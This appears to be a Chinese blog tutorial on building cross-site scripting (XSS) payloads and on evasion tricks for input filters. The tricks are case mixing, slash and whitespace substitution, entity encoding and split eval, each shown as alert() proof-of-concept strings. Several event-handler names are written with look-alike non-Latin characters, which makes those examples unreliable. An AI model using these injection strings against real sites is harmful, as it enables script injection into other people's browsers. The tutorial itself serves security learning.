XSS的構造與變形

※XSS:

XSS 是OWASP TOP10之一的漏洞,被稱爲跨站腳本攻擊,是發生在服務器的漏洞,

常出現於微博、留言板、聊天室等手機用戶輸入的地方,都有可能被注入XSS代碼。

※XSS的構造(現在有三種方法)

1.利用<>構造HTML/JS

在測試頁面,提交參數<script>alert(xss)</script>

2.僞協議

使用JavaScript:僞協議的方式構造XSS

在測試頁面:提交參數 <a href="javascript:alert(/xss/)"> hi!</a>

點擊後彈出彈窗

3.產生自己的事件

在網頁中發生很多事件,比如鼠標移動,鍵盤輸入等,JS可以對這些事件進行響應,所以我們可以通過事件觸發JS函數從而觸發XSS.

 如輸入<img src='./smile.jpg' οnmοuseοver='alert(/xss/)'>時這個標籤會引入一個圖片,然後鼠標懸停在圖片上的時候,會觸發XSS 代碼。
 
單行文本框的鍵盤點擊事件,<input type="text" οnkeydοwn="alert(/xss/)">,當點擊鍵盤任意一個按鍵的時候出發。

4. 其他標籤以及手法(H5)
    <svg οnlοad="alert(/xss/)">

 <input οnfοcus=alert(/xss/) autofocus>

================================================================================================

※XSS的變形(六種)

1. 大小寫轉換

  可以將payload 進行大小寫轉化。如:

<Img sRc='#' Onerror="alert(/xss/)" />

<a hREf="javaScript:alert(/xss/)">click me</a>

 2. 引號的使用---HTML 語言中對引號的使用不敏感.如“
<img src='#' οnerrοr='alert(/xss/)'/>
<img src=# οnerrοr=alert(/xss/) />

3. ' /'代替空格 可以利用左斜線代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />

4. 回車我們可以在一些位置添加Tab(水平製表符)和回車符,來繞過關鍵字檢測。
<A hREf="j
avas    cript:alert(/xss/)">click me!</a>

5.  對標籤屬性值進行轉碼
    可以對標籤屬性值進行轉碼,用來繞過過濾。
如:<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

6. 拆分跨站
    <script>z='alert'</script>
    <script>z=z+'(/xss/)'</script>
    <script>eval(z)</script>


 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章